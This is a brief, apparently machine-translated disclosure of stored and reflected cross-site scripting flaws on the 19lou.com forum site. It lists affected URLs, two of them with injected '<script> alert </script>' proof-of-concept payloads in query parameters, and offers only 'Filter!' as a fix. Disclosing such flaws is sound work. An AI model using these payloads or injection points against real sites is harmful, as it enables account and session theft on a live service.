On the 19th floor, there are two extension and reflective xss

The posting area is not strictly filtered, leading to xss vulnerabilities!
Durable type:

Http://www.19lou.com/forum-3206-thread-15301334835859518-1-1.html
Http://www.19lou.com/forum-291-thread-18701334837491991-1-1.html
Reflected type

Http://topic.19lou.com/club/2010/lottery/jsonbaby.php? Callback =? Test <script> alert (/goderci/) </script>
 
Http://www.19lou.com/haodian/list/business? CategoryId = 1 & regionId = 0 & address = "/> <script> alert (/goderci/) </script>
 
Proof of vulnerability: http://www.19lou.com/forum-3206-thread-15301334835859518-1-1.html
 
 
 
 
 
 
 
 






Http://www.19lou.com/forum-291-thread-18701334837491991-1-1.html
 
 
 
 
 


 
 
 
 
 
 
Solution:
 
Filter!
 
By goderci